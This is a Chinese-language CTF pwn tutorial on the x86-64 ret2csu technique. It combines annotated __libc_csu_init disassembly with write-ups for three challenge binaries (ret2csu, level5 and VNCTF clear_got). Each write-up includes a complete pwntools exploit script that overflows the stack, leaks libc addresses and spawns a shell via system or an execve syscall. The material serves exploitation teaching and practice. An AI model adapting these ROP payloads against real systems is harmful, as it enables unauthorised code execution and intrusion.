ret2csu

原理

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp

这里我们可以利用以下几点

从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。
从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。
从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。

另一个师傅的解释

ret2csu简单来说就是利用一段万能的gadgets,可以控制一些寄存器的参数,调用call。一般使用ret2csu靠劫持 __libc_csu_init 函数,这个函数在初始化libc是被调用,所以动态链接的程序都会调用这个函数。
函数的汇编代码大致如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
.text:0000000000401250 ; void _libc_csu_init(void)
.text:0000000000401250 public __libc_csu_init
.text:0000000000401250 __libc_csu_init proc near ; DATA XREF: _start+1A↑o
.text:0000000000401250 ; __unwind {
.text:0000000000401250 endbr64
.text:0000000000401254 push r15
.text:0000000000401256 lea r15, __frame_dummy_init_array_entry
.text:000000000040125D push r14
.text:000000000040125F mov r14, rdx
.text:0000000000401262 push r13
.text:0000000000401264 mov r13, rsi
.text:0000000000401267 push r12
.text:0000000000401269 mov r12d, edi
.text:000000000040126C push rbp
.text:000000000040126D lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000401274 push rbx
.text:0000000000401275 sub rbp, r15
.text:0000000000401278 sub rsp, 8
.text:000000000040127C call _init_proc
.text:0000000000401281 sar rbp, 3
.text:0000000000401285 jz short loc_4012A6
.text:0000000000401287 xor ebx, ebx
.text:0000000000401289 nop dword ptr [rax+00000000h]
.text:0000000000401290
.text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401290 mov rdx, r13
.text:0000000000401293 mov rsi, r14
.text:0000000000401296 mov edi, r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx
.text:00000000004012A4 jnz short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn
.text:00000000004012B4 ; } // starts at 401250
.text:00000000004012B4 __libc_csu_init endp

主要控制的部分如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:0000000000401290                 mov     rdx, r13
.text:0000000000401293 mov rsi, r14
.text:0000000000401296 mov edi, r12d
.text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040129D add rbx, 1
.text:00000000004012A1 cmp rbp, rbx
.text:00000000004012A4 jnz short loc_401290
.text:00000000004012A6
.text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j
.text:00000000004012A6 add rsp, 8
.text:00000000004012AA pop rbx
.text:00000000004012AB pop rbp
.text:00000000004012AC pop r12
.text:00000000004012AE pop r13
.text:00000000004012B0 pop r14
.text:00000000004012B2 pop r15
.text:00000000004012B4 retn

控制流程:
对于劫持到的程序的ret,我们可以返回到 0x4012AA的位置(不需要利用rsp,所以掠过),这样就会执行下面的指令,即把数据对应rbx,rbp,r12,r13,r14,r15依次出栈。在下面的ret指令中,我们可以写入 0x401290到前面的指令,为了继续向下执行call和jnp。call可以是我们想要跳转的地址,也可以不使用call一个空函数 _term_proc(call一个函数,需要的是指向这个函数的地址,例如一个函数的got地址,并不是函数本身的地址)。而继续执行jnp,不需要让程序跳转,因此要满足 rbp = rbx的条件。所以在最开始返回地址的时候,我们能够控制7个寄存器,通常就会设置为 rbx = 0, rbp = 1。这样rbx为0不会影响到call函数的执行,之后比较时会把rbx+1,这样恰好满足条件程序也不会跳转。之后又会执行之前的指令(可以二次控制参数,不需要就填入8*7的cyclic),返回时就可以返回需要的函数。
常见的用法为

1
call write/read -> .bss写入system,'/bin/sh' -> 调用system执行'/bin/sh'

由于ret2csu需要较多的字节数,所以需要控制好payload的长度

另一位佬的解释

__libc_csu_init 有两部分我们把这两部分叫 gadget2gadget1
alt text

下面这一部分 gadget1

1
2
3
4
5
6
7
8
9
.text:0000000000400716 loc_400716:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400716 add rsp, 8
.text:000000000040071A pop rbx
.text:000000000040071B pop rbp
.text:000000000040071C pop r12
.text:000000000040071E pop r13
.text:0000000000400720 pop r14
.text:0000000000400722 pop r15
.text:0000000000400724 retn

可以看到是将数据弹入到 rbx、rbp、r12、r13、r14、r15 这六个寄存器中,这样我们就不用找 gadget,更重要的是 gadget2

上面一部分是 gadget2

1
2
3
4
5
6
7
8
.text:0000000000400700 loc_400700:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400700 mov rdx, r13
.text:0000000000400703 mov rsi, r14
.text:0000000000400706 mov edi, r15d
.text:0000000000400709 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040070D add rbx, 1
.text:0000000000400711 cmp rbx, rbp
.text:0000000000400714 jnz short loc_400700

可以看到是将r13寄存器的值赋值给rdx,r14赋值给rsi,r15赋值给rdi,然后调用函数,这里的rbx是索引寄存器(设置为0,将r12设置为调用函数的got表地址),再往后rbx的值加1,比较rbx与rbp的值,如果rbx不等于rbp,就跳转到loc_400700处,继续循环,为了避免继续循环我们将rbp的值设置为1,这样就可以跳出循环,继续往下执行也就是gadget1,loc_400716处,如果不需要再一次控制参数的话,那我们此时把栈中的数据填充56(78)个垃圾数据即可

注:

1.如何不执行call

如果我们仅仅利用 __libc_csu_init 函数去控制参数,而并不想去用call执行,我们可以call一个空函数(不需要参数,执行之后也不会对程序本身造成任何影响的函数) _term_proc 函数(call的是指向 _term_proc 的地址,不是 _term_proc 的地址)

2.如何控制rax的值?(修改rax进行系统调用)
这里就非常巧妙了,可以利用 writeread 的返回值
如果读取或写入成功就会将 read 函数和 write 函数实际读到和写入的字节数存入rax中,这样就达到了控制rax的值
如果错误会返回-1,存入 errno

例题

ida

1
2
3
4
5
6
7
ssize_t x64_ret2libc()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

write(1, "Welcome to x64_ret2csu\n", 0x17uLL);
return read(0, buf, 300uLL);
}

read可以栈溢出(0x80+0x8)

思路:
通过栈溢出到gadget1,设值write的参数,返回值设置为gadget2,调用write,打印出write的got表地址,接下来套用模板就可以

rbx rbp r12 r13(rdx) r14(rsi) r15(rdi)
0 1 write_got 8 write_got 1
1
2
3
4
5
gadget1:0x400716
gadget2:0x400700
main:0x040065b
pop_rdi :0x400723
ret = 0x4004c9

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
elf = ELF('./ret2csu')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process('./ret2csu')
gadget1 = 0x400716
gadget2 = 0x400700
write_got = elf.got['write']
main = 0x040065b
pop_rdi = 0x400723
ret = 0x4004c9
rbx = 0
rbp = 1
r12 = write_got
r13 = 8
r14 = write_got
r15 = 1
payload = b'a'*(0x80+0x8)
payload += p64(gadget1)
payload += p64(ret)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(gadget2)
payload += p64(0)*7
payload += p64(main)
p.recvuntil(b"Welcome to x64_ret2csu\n")
p.send(payload)
write_addr = u64(p.recv(8))
print(hex(write_addr))
libc_base = write_addr - libc.sym['write']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a'*(0x80+8) +p64(pop_rdi) + p64(bin_sh) + p64(system)
p.sendlineafter(b"Welcome to x64_ret2csu\n",payload)
p.interactive()

level5

checksec

1
2
3
4
5
6
➜  ret2__libc_csu_init git:(iromise) ✗ checksec level5
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序为 64 位,开启了堆栈不可执行保护。
其次,寻找程序的漏洞,可以看出程序中有一个简单的栈溢出

1
2
3
4
5
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-80h]@1
return read(0, &buf, 0x200uLL);
}

简单浏览下程序,发现程序中既没有 system 函数地址,也没有 /bin/sh 字符串,所以两者都需要我们自己去构造了。

注:这里尝试在本机使用 system 函数来获取 shell 失败了,应该是环境变量的问题,所以这里使用的是 execve 来获取 shell。

基本利用思路如下

  • 利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数
  • 根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
  • 再次利用栈溢出执行 libc_csu_gadgetsbss 段写入 execve 地址以及 '/bin/sh' 地址,并使得程序重新执行 main 函数。
  • 再次利用栈溢出执行 libc_csu_gadgets 执行 execve('/bin/sh') 获取 shell。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
from LibcSearcher import LibcSearcher

#context.log_level = 'debug'

level5 = ELF('./level5')
sh = process('./level5')

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8


def csu(rbx, rbp, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
payload = 'a' * 0x80 + fakeebp
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
payload += p64(last)
sh.send(payload)
sleep(1)


sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)

write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)

## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')

sh.recvuntil('Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()

改进 ¶
在上面的时候,我们直接利用了这个通用 gadgets,其输入的字节长度为 128。但是,并不是所有的程序漏洞都可以让我们输入这么长的字节。那么当允许我们输入的字节数较少的时候,我们该怎么有什么办法呢?下面给出了几个方法

改进 1 - 提前控制 rbx 与 rbp¶
可以看到在我们之前的利用中,我们利用这两个寄存器的值的主要是为了满足 cmp 的条件,并进行跳转。如果我们可以提前控制这两个数值,那么我们就可以减少 16 字节,即我们所需的字节数只需要 112。

改进 2 - 多次利用 ¶
其实,改进 1 也算是一种多次利用。我们可以看到我们的 gadgets 是分为两部分的,那么我们其实可以进行两次调用来达到的目的,以便于减少一次 gadgets 所需要的字节数。但这里的多次利用需要更加严格的条件

  • 漏洞可以被多次触发
  • 在两次触发之间,程序尚未修改 r12-r15 寄存器,这是因为要两次调用。

当然,有时候我们也会遇到一次性可以读入大量的字节,但是不允许漏洞再次利用的情况,这时候就需要我们一次性将所有的字节布置好,之后慢慢利用。

gadget¶
其实,除了上述这个 gadgets,gcc 默认还会编译进去一些其它的函数

1
2
3
4
5
6
7
8
9
10
_init
_start
call_gmon_start
deregister_tm_clones
register_tm_clones
__do_global_dtors_aux
frame_dummy
__libc_csu_init
__libc_csu_fini
_fini

我们也可以尝试利用其中的一些代码来进行执行。此外,由于 PC 本身只是将程序的执行地址处的数据传递给 CPU,而 CPU 则只是对传递来的数据进行解码,只要解码成功,就会进行执行。所以我们可以将源程序中一些地址进行偏移从而来获取我们所想要的指令,只要可以确保程序不崩溃。

需要一说的是,在上面的 libc_csu_init 中我们主要利用了以下寄存器

  • 利用尾部代码控制了 rbx,rbp,r12,r13,r14,r15。
  • 利用中间部分的代码控制了 rdx,rsi,edi。

而其实 libc_csu_init 的尾部通过偏移是可以控制其他寄存器的。其中,0x000000000040061A 是正常的起始地址,可以看到我们在 0x000000000040061f 处可以控制 rbp 寄存器,在 0x0000000000400621 处可以控制 rsi 寄存器。而如果想要深入地了解这一部分的内容,就要对汇编指令中的每个字段进行更加透彻地理解。如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
gef➤  x/5i 0x000000000040061A
0x40061a <__libc_csu_init+90>: pop rbx
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
gef➤ x/5i 0x000000000040061b
0x40061b <__libc_csu_init+91>: pop rbp
0x40061c <__libc_csu_init+92>: pop r12
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
gef➤ x/5i 0x000000000040061A+3
0x40061d <__libc_csu_init+93>: pop rsp
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
gef➤ x/5i 0x000000000040061e
0x40061e <__libc_csu_init+94>: pop r13
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061f
0x40061f <__libc_csu_init+95>: pop rbp
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x0000000000400620
0x400620 <__libc_csu_init+96>: pop r14
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
gef➤ x/5i 0x0000000000400621
0x400621 <__libc_csu_init+97>: pop rsi
0x400622 <__libc_csu_init+98>: pop r15
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
gef➤ x/5i 0x000000000040061A+9
0x400623 <__libc_csu_init+99>: pop rdi
0x400624 <__libc_csu_init+100>: ret
0x400625: nop
0x400626: nop WORD PTR cs:[rax+rax*1+0x0]
0x400630 <__libc_csu_fini>: repz ret

clear_got

程序为64位程序,保护为堆栈不可执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜ checksec clear_got 
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/micdy/.cache/.pwntools-cache-3.11/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.13.1)
[*] '/home/micdy/Desktop/pwnfile/clear_got'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
1
2
3
4
5
6
7
8
9
10
11
12
13
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[92]; // [rsp+0h] [rbp-60h] BYREF
int v5; // [rsp+5Ch] [rbp-4h]

init(argc, argv, envp);
memset(buf, 0, 0x50uLL);
puts("Welcome to VNCTF! This is a easy competition.///");
read(0, buf, 0x100uLL);
v5 = (int)&qword_601008;
memset(&qword_601008, 0, 0x38uLL);
return 0;
}

ret2csu

程序存在明显的溢出,但是在溢出后会清空got表,无法使用got表中的函数。没有办法直接使用ret2libc
程序还留下了两个系统调用,其中一个为sys_write

1
2
3
4
5
6
7
8
.text:0000000000400773                 public end2
.text:0000000000400773 end2 proc near
.text:0000000000400773 ; __unwind {
.text:0000000000400773 push rbp
.text:0000000000400774 mov rbp, rsp
.text:0000000000400777 mov rax, 1
.text:000000000040077E syscall ; LINUX - sys_write
.text:0000000000400780 retn

没有能直接控制rdi,rdx的pop|ret
程序中有 __libc_csu_init 尝试ret2csu去利用syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:00000000004007D0                 mov     rdx, r13
.text:00000000004007D3 mov rsi, r14
.text:00000000004007D6 mov edi, r15d
.text:00000000004007D9 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:00000000004007DD add rbx, 1
.text:00000000004007E1 cmp rbx, rbp
.text:00000000004007E4 jnz short loc_4007D0
.text:00000000004007E6
.text:00000000004007E6 loc_4007E6: ; CODE XREF: __libc_csu_init+34↑j
.text:00000000004007E6 add rsp, 8
.text:00000000004007EA pop rbx
.text:00000000004007EB pop rbp
.text:00000000004007EC pop r12
.text:00000000004007EE pop r13
.text:00000000004007F0 pop r14
.text:00000000004007F2 pop r15
.text:00000000004007F4 retn

要利用 syscall,还需要向 .bss 段写入’/bin/sh’,需要调用 read,而 read 的系统调用号为0,需要rax为0,但是 main 函数的返回值为0,即在 main 函数返回之前,rax会被设置为0,方便我们直接调用 read
再利用 read 构造返回值,read 函数和 write 函数最后的返回值都是实际读到和写入的字节数(如果执行成功的话),而返回值会存入rax中,即执行 read(0,bss,0x3b) 就可以控制rax的值为0x3b。这样就可以调用 execve 获取shell
大致流程如下

1
gadget1,为read准备寄存器->gadget2,为read修改寄存器->gadget1,为execve准备寄存器,syscall执行read->gadget2,为execv修改寄存器,syscall执行execv
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

p = process('./pwnfile/clear_got')
elf = ELF('./pwnfile/clear_got')

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

offset = 0x60
bss = elf.bss() + 0x100
syscall = 0x40077e
csu_gadget1 = 0x4007EA
csu_gadget2 = 0x4007d0
_DYNAMIC = 0x600e40

payload = b'A' * (offset + 8)
payload += p64(csu_gadget1)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(_DYNAMIC) # r12,call空函数
payload += p64(0x3b) # r13=rdx
payload += p64(bss) # r14=rsi
payload += p64(0) # r15=edi
payload += p64(csu_gadget2)
payload += b'A' * 8
payload += p64(0)
payload += p64(1)
payload += p64(bss + 8) # 为执行syscall做准备
payload += p64(0)
payload += p64(0)
payload += p64(bss)
payload += p64(syscall)
payload += p64(csu_gadget2)

p.recvuntil("///\n")
p.sendline(payload)

sleep(0.2)
payload = b'/bin/sh\x00' + p64(syscall)
payload = payload.ljust(0x3b, b'A')
p.send(payload)
p.interactive()

ret2libc

首先使用 sys_write 泄露出libc基址;
然后通过 sys_write 的返回地址由rbp控制的特性,控制继续执行 mov eax, 0;leave;ret 控制rax,然后控制其他寄存器执行 read 函数,修改 puts_gotsystem 地址,puts_got+8/bin/sh;
最后再执行 puts(puts_got+8) 即可。简单来说就是在got表被清空后重新写入函数的信息,在调用函数。

1
2
3
4
5
6
0x00000000004007f3 : pop rdi ; ret
0x00000000004007f1 : pop rsi ; pop r15 ; ret

mov_ax = 0x000000000040075C
write = 0x0000000000400774
_puts = 0x000000000040071E
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *

p = process('./pwnfile/clear_got')
elf = ELF('./pwnfile/clear_got')
libc = ELF('./pwnfile/libc.so.6')
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'

pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
mov_eax = 0x000000000040075C
_puts = 0x000000000040071E
write = 0x0000000000400774

start_got = elf.got['__libc_start_main']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

offset = 0x68
payload1 = cyclic(offset) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(start_got) + p64(1) + p64(write) # write(1, start_got, 1)
payload1 += p64(mov_eax) + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(puts_got) + p64(1) + p64(0x000000000040077E) # read(0, puts_got, 1)
payload1 += p64(pop_rdi) + p64(puts_got + 8) + p64(puts_plt) # puts(puts_got + 8)
p.recvuntil("///\n")
p.sendline(payload1)
start_addr = u64(p.recv(8))
libc_base = start_addr - libc.sym['__libc_start_main']
system = libc_base + libc.sym['system'] - 0x8510
print(hex(system))
# gdb.attach(p)
payload2 = p64(system) + b'/bin/sh\x00'
p.sendline(payload2)
p.interactive()